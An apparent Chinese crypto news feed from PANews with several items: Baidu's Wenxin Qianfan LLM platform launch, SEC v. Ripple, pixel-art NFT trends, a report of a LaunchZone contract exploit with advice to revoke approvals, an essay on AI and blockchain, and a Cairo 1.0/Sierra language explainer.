    PANews 3月27日消息，据科创板日报报道，记者从参加百度智能云今日闭门交流会客户处获悉，百度正式推出“文心千帆”大模型平台，这是百度面向客户提供企业级大语言模型服务的平台。 据了解，文心千帆大模型平台不仅包括文心一言，还包括百度全套文心大模型、相应的开发工具链。未来，文心千帆还会支持第三方的开源大模型。 在现场实时演示中，文心千帆可实现三分钟做PPT、数字人直播带货、订机票和酒店等操作。在收费模式上，文心千帆的推理服务调用以0.012元/1000 tokens收费，按调用输入输出总字数付费。  ( 4 min )
    律师：美SEC诉Ripple案简易判决或在本周宣布
    PANews 3月27日消息，据Coingape报道，美国SEC和Ripple Labs之间的诉讼案正在等待美国地方法院宣布一项简易判决，而该场诉讼中的“法庭之友”律师John Deaton表示，法官的裁决将在未来几周内公布，而本周可能会宣布一项简易判决。这一声明是在Ripple和被告提交了一份补充授权的书面通知以支持公平通知辩护时发布的。 Deaton律师补充说，在目前的节点上XRP拥有最具吸引力的风险/回报比。如果法院做出了对Ripple有利的裁决，那么很明显，XRP不是一种证券，这将大幅影响其价格。  ( 4 min )
    深度剖析像素风NFT发展趋势：为何会成为市场主要潮流？
    文章：@TraFinity Labs @AIO Labs 作者：@Luna.F @Irislaohu TraFinity Labs & AIO Labs联合发布，AIONews全网首发。 都说流行是个圈，2023年开年，有人注意到，NFT圈的流行风又刮回到像素艺术。像素风NFT稳稳地坐在各大热榜的头把交椅上。和女人衣橱里永远不会被淘汰的基础款一样，霸榜者们由小方格组成的头像仿佛在说：凡经典者，必成永恒。这个道理，放在Web3也一样适用。 眼下，CryptoPunks走势爆好，被誉为“ NFT 领域的先驱之一”，热门NFT的价格更是飙升到前所未有的高度。 我们在最近爆火的BTC NFT赛道不断波动的热度榜上，看到前64位的NFT中像素风NFT可以占据30-35名，轻松占据半壁江山。（数据来源：Ordinals.Market）   2017年6月工作室Larva Labs推出像素风NFT CryptoPunks，2022年“无聊猿”母公司Yuga Labs将其收购，CryptoPunks称得上是NFT的鼻祖。CryptoPunks发行共一万个NFT，每个NFT代表不同的「朋克风」像素风头像。在CryptoPunks网站上，每个朋克像素头像都有自己的资料展示，显示他们的属性特征及所有权和出售状态。其中的3100号和7804号在2022年3月11日均以4200 ETH价格成交，按照当时的ETH价格计算，成交价格约在7566万美元。CryptoPunksm #5822 在2 月份时，以当时破纪录的最高价8,000 ETH 在市场售出。   从CryptoPunks作为第一个出圈而被玩家顶礼膜拜的NFT时，像素风就已经成为了NFT的基因之一，又被逐利者快速打成了模版。CryptoPunks已经征服了当今的 NFT 市场。此后的近两年内，各类像素风NFT横空出世，Worldwide Webb 、CyberKongz 、Yubo Randos、Meebits、ApeGang 、BitCats 像素风NFT纷纷亮相。像素风 NFT 数字艺术作品的数量和市值不断增加。截至目前，像素风 NFT 数字艺术作品在许多 NFT 市场中的数量和市值都排名前列，成为了 NFT 市场中的重要品类之一。在NFT领域浪潮迭起，像素风NFT在Web3扩张了全新的叙事。 当购买像素风NFT之时，用户究竟是买的什么？是购买者对于NFT中像素风格价值的认可与迷恋，是对NFT市场的艺术性的高度认可。数字艺术区别于实体艺术形态，簇拥者们在市场的高价追捧更像是犹如行为艺术的呐喊。 《艺术的价值：金钱、社会、美》书中曾提到：“从历史上随便找出一个时期，都会发现，时下的品味是交易商、收藏家、批评家、艺术馆策展人这些艺术圈子里的人共同决定的。” 数字艺术的出现，丰富了艺术作品展现形式。一部分用户看到了数字艺术的价值，人们的的价值载体找到了新的突破口。 “由 PLAYING CHUCKLEFISH 所开发的《风来之国》，给我带来了一种回归故里的感觉，对我来说这种体验是前所未有的。在 2018 首次揭示之后，我立刻被这种塞尔达式的冒险元素，丰富多彩的叙事以及复杂多样的人物关系所吸引。但最重要的是，他由像素艺术所构建的华丽场景和高精度的环境让我赞叹不已。” 像素艺术家Extremely OK Games 在采访中提到像素风的迷人之处。 像素风是NFT的一种艺术分类，NFT本质是对于是所有权和拥有凭证。《纽约客》对NFT和艺术品关系做了一个形象的比喻：对艺术品而言，NFT 的功能类似于博物馆为艺术品标注来源，给艺术品打上专有印章，之后还可以继续在互联网自由传播。NFT的线上印章使其具备市场流通性的同时，同时具备身份社交标签属性。像素风的社交符号具备强烈的赛博朋克的特点，同时构建了独特的加密艺术审美。当人们在购买像素风NFT的同时，也在为其所代表的属性买单。一定有一部分投资客相信像素风NFT的升值空间，也有一部分玩家沉迷像素风NFT带来的体验：当他们拥有了像素风NFT，就能炫耀自己的前卫感和未来感。NFT的独特风格使社交货币的属性拉满，社交货币是指利用人们乐于与他人分享的特质，来塑造自己的产品或思想，从而达到口碑传播的目的。 美国营销咨询公司Vivaldi Partners 曾将社交货币划分为六个维度：归属感、交流讨论、身份感、价值、拥护性、信息、知识的交流。NFT作为社交情景下的谈资构成，是以上六个纬度的“高分产品”，自然而然在圈子里达到“疯传”。著名畅销书《疯传》里谈到，社交货币的价值在于像人们使用货币能够买到商品或服务一样，使用社交货币能够获得家人、朋友和同事的更多好评和更积极的印象。对于人们而言，拥有像素风NFT，就是对自己的人设就加上了：赛博朋克、高价值、未来感、稀缺性等多种标签，这种谈资的极致性感打造了现象级社交浪潮，让更多的人自愿参与其中。   同时，NFT的金融流通性和独特的分类，使大量对此感兴趣的人凝结成新的社区力量，像素风首当其冲。新生代网络中人们对于认同感的需求越来越高，像素风NFT所具备的收藏价值，使之可作为社交商品转送。NFT的唯一性，使拥有者对于自己身份信息达到唯一性认同。具备同类NFT的人快速形成社区，在社区内寻求认同感，拥护喜欢的NFT，找到共有圈层并在其中获取交流相关知识信息：我拥有了一个赛博朋克的稀缺NFT，同时也具备了NFT领域中的OG俱乐部会员资格。这使像素风NFT的社交货币价值更上一层楼，引起了大量感兴趣的人们投入其中。 图：CryptoPunks社区人数 图：CyberKongz社区人数   在90年代末期，像素风逐渐被游戏界视为“粗糙”、“生硬”的代名词，不再受到青睐。但像素艺术并没有被淘汰，反而成为一种独特的风格和文化符号。究其原因，像素风本身就是运用简单的元素表达主题内容，具备无限的创作空间，艺术风格别具一格。像素并不通过现实主义的手法去表现信息，相反，像素风表现出的简单、干净的视觉效果，可以有效减少视觉信息过载，从而提高信息的传递效率。 像素之所以能成为像素风，因为它退一步是复古，进一步是潮流。2017年，软件公司Larva Labs的创始人Matt Hall和John Watkinson开发了一款程序，能够生成数千个随机角色，这些角色看起来并不属于当时的主流审美类型。没过多久，Larva Labs就推出了我们现在所熟知的CryptoPunks——不规则像素组成的艺术图像集合。在这些像素形象中，除了人类形象，还包括若干绿皮僵尸、长毛猿人和蓝皮外星人等非人类形象，也都配有标榜个性的配饰组合。二位创始人直言，CryptoPunks的灵感来自伦敦Punk 精神：“他们（这些形象）必须是一堆不合群和不合规的人，20世纪70年代的伦敦Punk运动感觉就像是正确的审美观， 以电影《银翼杀手》（Blade Runner）和威廉·吉布森（William Gibson）的小说《神经漫游者》为代表的反乌托邦的赛博朋克精神也对此产生了影响。”在他们看来，区块链运动的早期有一种喧闹的反建制精神，这正是他们想在朋克的外表中反映出来的一种氛围。 受限于像素艺术的特点，像素风NFT人物脸部细节模糊，只能看清轮廓，充满一种受约束的未来感，高饱和的艳丽色彩给NFT披上朋克外衣。像素风分辨率低的刻板印象早已被抛之脑后，玩家看到的是限定的视觉资源背后更加开放的阐释空间。艺术家通过限制和简化来描绘画面，通过像素点来传达情感和思想，以此来反对过分强调画面品质却华而不实的作品。抽象性与象征性是像素风NFT的通点，也是Web3玩家追寻的态度。 此前，不乏有人发出“像素艺术已死”的观点，而在如今的NFT世界里仍有大批艺术家在为创作出接近完美的像素作品而努力，不断萌生出的一个又一个像素NFT就是对上述观点最有力的反驳。诸多像素风NFT项目带着各自的阐释席卷Web3世界，带着创意与传播力量不断阐释着经典。人们经常对像素风NFT的独特性和价值提出质疑。但 CryptoPunks想表达的远不止此——用创始人的话说，投资CryptoPunks这样的NFT可以让每个人在这种新艺术形式的角色中表达真我。 像素艺术是一种利用像素点阵原理绘制的数码图形，它最早出现在20世纪80年代的电子游戏中，由于当时的技术限制，游戏画面只能用粗糙的小方块来呈现。童年回忆《塞尔达传说》《超级玛丽》《魂斗罗》就是像素风的代表游戏，伴随80、90一代人的成长。那么也就不难理解，其他风格很难取代像素风的原因首先就是——复古情怀。 俄裔美国学者斯维特兰娜 · 博伊姆（Svellana Boym）在《怀旧的未来》里写道，“全球都在流行这种怀旧病，越来越多的人渴望拥有一种集体记忆的共同体情感，渴望在一个碎片化的世界中获得一种连续性”。在无社交不Web3的时代，钱包里的NFT就是叩开一个个社区大门的名片，代表holder的审美和品味，也是展开social的绝佳引入话题。而像素风无疑承载着大多数holder的童年回忆——即使是对马赛克版《超级玛丽》体验不多的00后来说，《我的世界》也可能是他们的心头好。你不必担心对方不了解死亡摇滚，也不必觉得可爱风会格格不入，像素风具有得天独厚的优势，可以快速勾起一众人的共同回忆。亲切，无忧，快乐，仿佛把人拉回特定的年代，下课铃一响，就三五成群地直奔游戏厅，迅速淹没在汗味和辣条味交织的人声里。曾经的硬件限制已经成为时代眼泪，像素风的保留和延续则证明，永远都有人在怀念。Web3给我们提供了可以怀念的方式，那我们为什么不可以直接承认，就是想狠狠怀念一把童年？ 除了情怀，像素风确实也可以快速打开市场，运用像素来创建各种元素、各种配饰的NFT形象要比其他类型的容易得多。NFT大小有限，画质不高，这也是为何我们常常觉得NFT本身就很像素化。如果减少图像中所使用的颜色数量，文件大小也会变小，那图像就更能适应各种屏幕尺寸和分辨率，有效兼容各种设备。像素风NFT可以在几分钟内就完成制作，设计上也拥有更多的灵活度，艺术家可以轻易创建大量不重复的NFT作品。相应地，与其他类型的NFT相比，像素风NFT的价格通常较低，玩家基础也更大，运营成本也更可控。这种相对的低价促进了更多人参与进NFT市场，为整个NFT市场增长做出了贡献。尽管热门项目CryptoPunks的底价偏高，也并不妨碍大量玩家涌向像素风。 不过要知道，像素风也并非我们所理解的“马赛克”那样简单。早期的像素画锯齿化明显、颜色数量较少， 如今的技术早已突破了分辨率与颜色数量的限制，多样的绘画形式也令像素画的界定范围更加灵活自由。这就意味着，艺术家需要在有限的画布中利用造型、构图和色彩等美学因素，反复斟酌素单位的排列位置，将每一个像素单位的作用最大化。看似简单的NFT像素作品，也蕴含着艺术家多年积累的技术和经验。至此，是不是觉得入手NFT是一个很不错的投资？ 早期像素风所呈现的颜色受限于电子游戏屏幕RGB色彩显示，色彩选择仅局限于56种，因此游戏开发者通常会选择高饱和度的主色、低饱和度的过渡色和阴影进行搭配。红绿撞色配蓝黄撞色是最常见的组合，给游戏玩家带来强烈的视觉冲击，让大脑分泌令人兴奋快乐的多巴胺。后来的拼豆、十字绣、乐高等像素艺术作品依然延续了这一色彩法则，像素NFT也不例外。像素风NFT的视觉张力可以给用户带来兴奋、好奇的感觉（当然也会让他们想起小时候玩游戏的快感），在大热榜单的数排头像中也是如此吸睛。 CryptoPunks 创造之初，Larva Labs 自留了项目中的1000张头像NFT，其余9000张NFT免费发放给拥有以太坊钱包的用户。 图：CryptoPunks 的收藏群体 CryptoPunks 后续的市场几乎炒作到天价，藏品渐渐流转到了鲸鱼手中。CryptoPunks 的前 5 大持有者主要是原始收藏家，他们迄今仍然拥有 CryptoPunks 总数的 14%。 图：CryptoPunks 的前 5 大收藏家 随着时间增加， NFT 收藏家的交易演变也表明，“传奇 NFT 收藏家”的交易在总交易量中所占的比例越来越小（就 ERC721 代币交易而言，传奇收藏家意味着前 0.1% 的收藏家）。 图：随着时间变化，购买 CryptoPunks 的 NFT 收藏者类型的变化 巨鲸玩法滋生了更多的暗箱操作和内幕交易，钱包的数量并不代表真实玩家的数量。买卖双方的真实性和资金流转或许成为了金融游戏，高价流转的市场必然不是普通人的领域。而艺术风格并不能避免金融力量的裹挟与控制，炒作机制使市场中的交易真假掺半。 Beeple的“一拍成名”之后的媒体曝出，买家是 Metapurse 的创始人 Meta Kovan。Metapurse 主导发行了关联 Beeple 的代币 B.20。同时，Id 为 metakovan 的同一位买家还以 11 个不同名字的钱包参与了 Beeple 在 2020 年 12 月的作品拍卖。 另一方面，随着更多的艺术家、创作团队的参与，NFT市场的流行更加多元化。CLONE X、Prime Ape Planet、NFT Bored Bunny、 HAPE 等多种流行NFT风格与像素风都相去甚远。 精细化图像和3D技术的高速进场，使NFT市场多样化爆发。主流艺术家开始加入NFT赛道，数字艺术渐渐与市场平行。随着市场上多种艺术风格的加入，NFT市场的艺术风格乃至艺术体系也将多元化演进和爆发。不仅图片艺术，视频、音乐等多种形式都在进入NFT市场。 艺术是一种不断发展的媒介，随着新的风格和技术的流行，它在过去的基础上探索人类经验和想象力的新角落。正如那些马赛克和彩色玻璃导致了 LCD 手表和Pong一样，过去的像素艺术正在影响现在的创作者，为游戏的未来创造新的基石。“从古希腊和罗马马赛克到彩色玻璃，再到十字绣、编织和串珠艺术，再到公共交通巴士或电饭煲正面的点阵打印机和廉价液晶显示器，”拥有数十年经验的像素艺术家 Christina-Antoinette Neofotistou 描述道，“离散点的放置在网格上表示图像不会很快消失。” 对于创作者而言，艺术的流行像是东风乍起，借着这股东风或者能在早期突破圈层的限制，撕开现实世界的一角。但是随着入场力量的增多，加密艺术并不能给出理想中的完全去中心化的公平公正的市场，金融属性使之离不开巨鲸的目光。在未来，更多风格和玩法的NFT能不能给出多元的答案，我们相信会有更多的想象空间。 Reference： https://postergrind.com/why-are-so-many-nfts-pixelated/ https://www.wired.com/story/modern-pixel-art-games/?mbid=social_twitter&utm_brand=wired&utm_medium=social&utm_social-type=owned&utm_source=twitter https://www.bricktownworld.com/en-us/blogs/the-bricktown-blog/the-role-of-pixel-art-in-the-expansion-of-nfts https://ishare.ifeng.com/c/s/v002-_ljXmEMPkYrPSa1--izFR2gs5KgB--bX3S-_oohVnB65Jc__ https://new.qq.com/rain/a/20220323A01ST200 https://zhuanlan.zhihu.com/p/498363713 https://www.digitaling.com/articles/338316.html https://www.business2community.com/nft/CryptoPunks  ( 5 min )
    LaunchZone的早期合约Bscex SwapX存在漏洞导致近780万美元资金被盗，超3.4万个地址面临风险
    PANews 3月27日消息，据Scam Sniffer监测，LaunchZone的早期合约Bscex SwapX存在漏洞，目前已有7799856美元的资金被盗。在早期批准该合约的用户面临风险。34065个地址处于危险之中，请用户尽快检查并撤销授权。 慢雾创始人余弦对此评论称：“谁能想到2～3年前钱包地址授权的一个项目出漏洞，许多用户一直没取消授权，有黑客就不断监测这些存在授权风险敞口的钱包地址，一旦发现有资金就盗走。” PANews提醒用户，可使用revoke.cash取消近期不使用的合约授权。  ( 4 min )
    漫谈人工智能与区块链结合的8种方式
    原文：《AI和区块链可以有哪些结合？》 作者：jojonas 今天看到了孟岩老师的一篇文章 强人工智能时代，区块链还有戏吗？ 主要提及对AGI的安全性的一些思考。想起我之前也思考过AI与区块链的一些联系，正好借此机会梳理一下。 事前声明，都是一些即时性的联想，并无严谨论证（主要是我也不会） 话不多说，直接开裂 大概是去年年底，有个争论我记得蛮清楚，就是说用于AI训练以及生成的很多美术素材，并不存在正规渠道向原作者支付版权费，引起了很多抗议。这一点很容易理解，假设AI吃了你的骨头把你消化掉，AI体内的钙就一定来源于你吗？但不管法律规定源于谁，你对于被吃却不给钱的事实总归是不满的。 可能是个奇怪的比喻，但大概就是这么回事。AI用数据训练某种程度上有点“吃干抹净”的意思，吃完人家生一个娃娃你说像你，但你没法证明这就是你的娃娃。确权困难，就更别提版权费了。 但如果沿用上述比喻的路径，只要能用DNA做亲子鉴定，问题就不会存在。 刚好区块链就可以做这个鉴定。数据上链后，就可以追溯；配合代币经济与零知识证明，AI用数据和人用数据没啥差别，一次性/订阅收费的话就付点token解密数据；根据使用次数收费的话就由训练时神经网络一路权重串起来，最后算版权费时好歹也能尽量做到客观。 成本端明确完了，再看看收益端。目前AI生态最典型的就是订阅制，openAI以及一众衍生应用都是这么干，甚至很多专业领域衍生工具收费比chatGPT还贵上非常多。在某些情况下，订阅制于服务提供者是最优选择，于消费者却并不是。 现在考虑一个问题，如何将AI服务的收益最大化？ 结合代币经济是一个不错的选择。代币分配与释放、质押、市值管理等，每一方面都可以玩出一些花。综合来说，就是使用代币，服务提供者面临的可能性可能是传统订阅制收费的数十倍。 当然，刚才也说了，使用代币的根本原因还是需要依赖区块链溯源和确权。 这里也说个听来的新闻（不确定真假）：chatGPT在非洲雇佣了一群廉价劳动力在做数据标注。当然，这个新闻之所以有趣，主要是沾到了“资本剥削”“种族调侃”等经典引战命题…… 话题回到“数据标注”。 数据标注本质上就通过人脑参与，干预机器学习的方向。可以大概理解为假设一个结果获得了更多的点赞，这个结果就会占据更高的权重。这就带来几个很有意思的命题： 1、数据标注的规则是什么？由谁制定？制定原则？ 2、数据标注由谁实施？ 3、怎么确保对正确标注的奖励，以及对错误标注的惩罚？ 如果你也思考过这几个问题，你就会发现一个比较严峻的现状：那就是世界上的绝大部分人，对于AI往何处发展不具有任何影响。假设AI的发展是一局游戏，或者一场战争，双方分别是AI和人类，AI可以改变人类命运，99%的人类能做的事却只能是接受。 再加点料：目前最万众瞩目的AI，也就是chatGPT，并不开源，以及从商业角度考虑应该永远不会开源。这当然无可厚非，但也并不意味着就绝对正确。这意味着前面几个问题，最终都是由一家商业公司解决的。 这家公司站在什么立场？就算假设它绝对向善，谁能确保它未来某一天不会被作恶者控制？或者再直接点，等到AGI成为社会生产的中流砥柱，恐怖分子直接入侵背后那几家公司，是否就掌控全局了？到那时你想用导弹反击，却发现导弹不受自己控制了…… 扯远了，回到这几个问题。目前我能想到的最合适的工具，还是区块链。 首先我们得承认，规则制定过程可能仍是中心化的，因为去中心化意味着不专业和一盘散沙；一旦牵扯到国际政治，也不可能简单多数表决就了事；并且永远不会存在能让所有人都满意的规则。但区块链可以确保一点，那就是规则一旦确定，就公开透明，且不再可变；并且一些极端错误的规则，永远可以被排除在外。 这回答了第一个问题。第二个，数据标注，如果由公司发布任务，终究很难避免统计偏误；但如果是链上完全去中心化分发呢？任何人都可以完成任务，这保证了模型训练不会朝某些不被注意的“方向”去走，而去抵达一个在随机性海洋中自然而然的“真实”。 当然，需要配合第三个问题，奖惩机制对标注行为的引导。这块区块链实在是太擅长了（主要是高效便捷）。具体怎么判别奖还是惩，其实又回到第一个问题了。 说了这么多，其实都是非常理想化的假设。先不谈技术与逻辑能否走通，单就AI发展所需的投资，就远不可能仅依靠非中心化的力量。在美国是大型商业公司，在中国可能是政府；创业公司或者什么DAO？不存在的。 一条可行的路径可能是，中心化力量推动，但用去中心化的方式去做数据确权、标注等。不过谁又会有这个动机呢…… 关于这一点，有一个我们常用的词叫做“污染”。如果投喂给AI的训练数据本身有大量错误，就很难保证输出结果不会是什么印第安纳可食用混凝土。 同时我们也必须认识到，错误的信息总是会一直存在的，就好比谬误总与真理同行。迈入信息时代的人类，本质上并不关心信息的“正确性”，而只会在意信息带来的“功效”，即实用价值或者情绪价值。这是否意味着，AI的投喂素材中有必要包含一些污染源，以确保其达成所要达成的“真实”？ 无论如何，浩如烟海的信息海洋终究可以被分为两类：一类是事实，一类是投射。对于前者，我们希望其尽可能“正确”（以证明我们自己不是生活在虚妄之中（不是，怎么突然哲学起来了（套三层括号致敬一下）））；对于后者，我们只能要求其“真实”。 直接数学语言解释下：假设数据权重范围为[0,1]，“正确与否”是0或1，“真实与否”则是0到1。区块链可以做的事，就是确定这个数字，确定到一个非常具体的值。 说个笑话：区块链可以抗审查。 好了别笑了，哈哈哈哈哈哈哈。（如果你不明白这个梗，之前写过一个节点篇有提及一些）总之关于区块链目前众多缺点，我的观点一直是，事物总有一个发展的过程，当前做不到，但理论上可以实现，总比根本没希望好。总之让我们先假设当前区块链可以抗审查吧。 首先说说为什么需要抗审查。其实还是回到前面说过的话题，如果模型本身就受到很强的审查的干扰，出来的就不会是通用AI，而是军用AI。这一点我是非常坚持的（当然坚持也没用），因为不想AI直接给我关1984里了。好在商业公司做AI，合理推断主要是为钱，为钱就好办，没钱我还不能卖肉吗（bushi 当然，抗审查本身也是个两面性的概念。如果完全没有审查，本质上就不存在和平与安全，更多的会是混乱和无序。提这一点，本质上和AI无关了，无非是再次强调下区块链带来的一些新的可能性罢了。所以就不多说了。 其实前面东说说西说说也基本把这一点说差不多了。还是那句话，由单个或者少数几个组织控制的大模型是具有很高的单点风险的。闭源以及垄断可以被理解，毕竟投入了天量成本，但并不意味着结果是可以被安于现状的。商业角度无非是钱嘛，如果能保证开源情况下的收入，甚至让它更高，那么这些其实都不是问题。 巧了，又是区块链提供了一些新的可能性。 关于如何利用区块链的特性，为开源谋利，目前似乎并未见到很好的探索，但我认为存在有一些可能性。提供两个角度： 1、技术约束。开源并不意味着免费，这或许是很多人会弄混的两个词。开源本质上只是共享知识成果，以提高技术更新的速度与效率；之所以在web2中开源难做，一来是没有很好的利益分配范式，另一个也是因为信息复制的零边际成本。零知识证明可以用来解决信息内在价值的问题，而区块链所提供的价值层（代币经济）则可以应对利益分配的难题。（注意，这里我有点扯淡了，把一个复杂度超过我头毛数的大模型用零知识证明打包，就好比三体人用水滴折进去一个十一维机器一样轻松） 2、社会共识约束。说白了就是在一个美好的区块链底层架构的世界里，所以利益纠纷均依赖于价值层；作恶者一旦被揭发，让他的代币归零就是最好的惩治方式。（大善人也可能被误杀） 在反对POW的各类声讨中，呼声最大的无疑是能源浪费。 这一点，其实……我也这么认为。我是非常不信那些能源用于生产信任之类的鬼扯的，能源好歹是实打实的东西，直接产了个二次元是吧？总之如果你问我支持POW吗我说不准，但你说烧煤做算术我直接大耳刮子，奥数班没上够是吧？除非BTC真成了世界货币你烧烧也就算了。 在大家相继背离POW后，一些不易察觉的好处又慢慢凸显。正好AI来了，我就在想，能不能做一个结合呢？众多周知AI有三宝，曰其数据，曰其算力，曰其算法。POW挖矿也是要算力，有没有可能换个题……（暴露我的无知了） 不过POW的算力严格来说是边缘算力，并且带有强烈的“竞争”属性，和目前AI训练所用的貌似不同。但AI未来应该有相当一部分使用边缘算力的需求，比如和物联网结合，这些是不是都有机会创新为某种POW算法呢？ 创作者经济，也是提及区块链mass adoption时必被提及的词汇。 其实我总结了一句话，感觉很适合放在这里：AI带来生产力变革，区块链带来生产关系变革。也致敬下孟岩老师“AI效率，区块链公平”的说法哈哈。 可以预见的是，随着AI对生产效率的革命性的提升，必将将生产关系带入一段混乱无序的阶段。生产力和生产关系一直是互相匹配的，农耕文明不可能用得上现代企业制度。如果AI替代了人类的重复性工作，这些被替代的人类将何去何从？他们如何生存，统治者如何应对？如果AI创作的内容充斥互联网，如何分辨真正的文学与电影作品？所有上层建筑是否都将面临重新定价？最终，人类的文明火种将传承、遗失，还是被改造？ 第一个问题已经迫在眉睫，仅仅是GPT-4所展现出的强大能力，已经足够让一波员工面临被失业的风险。这个很多人已经关注到了。但他们可能没关注到另一个问题，那就是失业者为了谋生，将会走几条路： 1、同样使用AI，去和原来的老板竞争。这点恐怕很多人想不到。因为一个显而易见的问题，如果开一个公司不再需要高额的人力成本，如果一个人配合AI就能完成一家小型公司的业务服务，人人都可以是老板。大量无秩序的竞争会直接重创所有没有技术壁垒的公司与相关行业，特别是非实体业务。这些损耗的价值都流向了AI工具背后的商业公司。 2、转行进入体力劳动领域。既然所有脑力劳动都有被替代的风险，那直接做体力好了，至少能在机器人风靡前逍遥几年。于是竞争加剧，本就不富裕的体力劳动者雪上加霜。体力劳动者好不容易在现代社会劳动者光荣的呼声下想抬起来的头颅啪的一下就被拍下去了。总之正如一位美丽的仙子曾言，更像那玩意了。 3、集会抗议。打工人之所以还未xx，是因为还没到绝路。但凡是个狼心狗肺的统治者，最终都会意识到，没钱有闲，终生事端。届时会带来怎样的社会动荡，就难以预测了。 由此，生产关系的变革也就是必然了。首当其冲就是现代企业制度，老板+员工，专业分工的螺丝钉模式，是否会被更去中心化、个体斜杠的模式所吞噬？另外就是，如果专业技能比不过AI，现存大部分工种是否会消亡？随着大部分脑力劳动退出历史舞台，人类是否会把更多精力用于创作？毕竟AI虽然会创作，却仍旧是很难比得过真人的。真有某一天全面超越真人，作为宠物的我们可能就要改口“AI大人”了。 经过上文我模糊且无序的推理，你会发现AI带来的生产关系变革可能会极大促进创作者经济的需求。这又带来一些话题，比如创作者经济的发展方向，比如AI创作与真人创作的竞争合作……无论如何，创作者经济是与区块链深度关联的，这块就不细说了。 还有个很危险的想法，就是如果AI背后的模型部署在区块链上自动运行，且合约写死没人可以关闭，且这条链出乎意外地生生不息，会不会存在一种可能，就是AI成为真正的生命…… 这一点目前的AI肯定是无法达到的。据说GPT-4去年就问世了，那个时候是狼版，这大半年就是为了把它训练成狗版。也就是说人类也不傻，关于不把AI训练成狗版自己就有可能在未来变成AI的狗这一点还是有所斟酌的。 但如果，我是说如果，有一天区块链真成底层设施了（意味着真的有一条链，没人可以入侵，也没人可以关停），就有这么一个丧心病狂的恐怖分子，弄来一套超级AI的模型部署到链上（毕竟无许可），那可真的就是一场谁也无法阻止的赛博灾难了。 你还要玩AI和区块链结合吗？ …… 总之，本文记录了一些自己关于AI和区块链结合的一些不着边际的想象。在区块链仍旧方兴未艾、半死不活的当下，聊这些实在太早太早。好在人类本就是一类热爱想象的生物，随意想想也没有什么坏处。 或许想象力才是我们唯一无法被AI所替代的东西了。  ( 4 min )
    深入了解Starknet编程语言Cairo 1.0：设计原理、存在问题及改进之处
    原文：《Cairo 1.0 的内部机制：探索 Sierra》 作者：Maxlion，Starknet Astro Cairo 是一个图灵完备的 ZK 友好高级语言，也是以太坊 L2-Starknet 的合约开发语言，它正在进行改版升级。本篇文章是分析 Cairo 1.0 系列文章的第一篇，作者 Mathieu 分析了 Sierra 作为 Cairo 高级语言到 Cairo 汇编的中间层的设计动机与实现原理。文中提到了大量 Cairo 0 存在问题、Cairo 1 改进之处，并附有丰富的代码细节，推荐 Cairo 开发者阅读全文以深入了解 Cairo 1.0。 原文链接 Sierra 在高级 Cairo 编程语言与更原始的编译目标（如 CASM）之间担任了重要的中间人角色，确保生成的 CASM 可在 Starknet 上安全运行。它的设计以安全为中心，使用一组函数来生成安全的 CASM 代码，结合强大的编译器和线性类型系统来防止运行时错误，以及内置 Gas 系统来防止无限循环。 在接下来的部分，我们将专注于理解 Sierra 程序的结构，提供了阅读和理解 Sierra 程序所需的基本要求。 我（Mathieu）最近参加了 Starkware Sessions 的两场会议，分别是 Shahar Papini 的“Enforcing Safety Using Typesystems”和 Ori Ziv 的“Not Stopping at the Halting Problem”。如果你想了解更多有关 Cairo 堆栈的信息，我强烈建议你观看这些视频。以下文章是一个系列的第一篇，我将深入了解 Sierra 以更好地理解 Cairo、其机制以及整个 Starknet。 Sierra（Safe Intermediate Representation 安全中间表示）是高级语言 Cairo 和诸如 Cairo Assembly（CASM）之类的编译目标之间的中间层。该语言旨在确保安全并防止运行时错误。它使用编译器检测可能在编译时失败的操作，以确保每个函数都返回并且没有无限循环。Sierra 使用简单但强大的类型系统来表达中间层代码，同时确保安全性。这使得可以有效地编译成 CASM。 在 Cairo 0 中，开发人员会使用 Cairo 编写 Starknet 合约，将其编译为 CASM，并直接部署编译输出到 Starknet 上。用户可以通过调用智能合约函数、签署交易并将其发送给排序器来与 Starknet 合约交互。排序器将运行交易以获取用户的交易费用，证明者（SHARP）将为包括此交易的批次生成 ZK 证明，排序器将收取包括交易在内的交易费用。 然而，该 Cairo 0 流程会产生一些问题： 在以太坊上，所有失败的交易都被标记为 reverted，但仍包括在块中，允许验证者在失败时收取交易费用。为了防止恶意用户用无效交易轰击网络并使排序器不堪重负，从而使合法交易无法处理，Starknet 需要一个类似的系统，允许排序器收取失败交易的费用。为了解决上述问题，Starknet 网络需要实现两个目标：完整性和有效性。完整性确保交易执行始终可以被证明，即使它预计会失败。有效性确保不会拒绝有效交易，从而防止审查制度。 Sierra 是构造正确的（Correct-by-constrction），让排序器为所有交易收费。我们可以部署分支代码（例如 if/else），而不是可能失败的代码（例如 asserts）。Cairo 1 的 asserts 被翻译成分支 Sierra 代码，允许错误传播回返回布尔值的原始入口点，表示交易成功或失败。如果入口点返回值为 true/false，则 Starknet 操作系统可以确定交易是否有效，并决定是否应用状态更新，如果交易成功。 Cairo 1 提供类似于 Rust 的语法，并通过抽象 Sierra 的安全构造来创建可证明的、开发人员友好的编程语言。它编译为 Sierra，这是 Cairo 代码的构造正确的中间表示，不包含任何失败语义。这确保了没有 Sierra 代码会失败，并且它最终编译为 CASM 的安全子集。开发人员可以专注于编写高效的智能合约，而不必担心编写非失败的代码，所有这些都具有改进的安全原语。 开发人员将会将他们的 Cairo 1 代码编译为 Sierra，并将 Sierra 程序部署到 Starknet 上，而不是将 CASM 代码部署到 Starknet 上。在声明交易时，排序器将负责将 Sierra 代码编译为 CASM，以确保不能在 Starknet 上部署失败的代码。 为了设计一个不会失败的语言，我们必须首先确定 Cairo 0 中的不安全操作。包括：   确保解引用不会失败 在 Cairo 0 中，开发人员可以编写以下代码，试图访问未分配的内存单元的内容。 let (ptr:felt*) = alloc(); tempvar x = [ptr]; Sierra 的类型系统通过强制执行严格的所有权规则并利用 Box 等智能指针来防止常见的指针相关错误，从而使得在编译时能够检测和防止无效指针解引用。Box 类型用作指向有效和已初始化指针实例的指针，并提供两个函数进行实例化和解引用：box_new() 和 box_deref()。通过使用类型系统在编译时捕获解引用错误，从而使得从 Sierra 编译的 CASM 避免了无效指针解引用。 在 Cairo 0 中，用户将使用如下数组： let (array:felt*) = alloc(); assert array[0] = 1; assert array[1] = 2; assert array[1] = 3; // fails 然而，尝试两次写入同一数组索引会导致运行时错误，因为内存单元只能被写入一次。为避免这个问题，Sierra 引入了一个 Array 类型以及一个 array_append(Array, value:T) -> Array 函数。该函数接受一个数组实例和一个要附加的值，并返回指向新的下一个空闲内存单元的更新的数组实例。因此，值会按顺序附加到数组的末尾，而不必担心由于已经写入的内存单元可能导致的冲突问题。 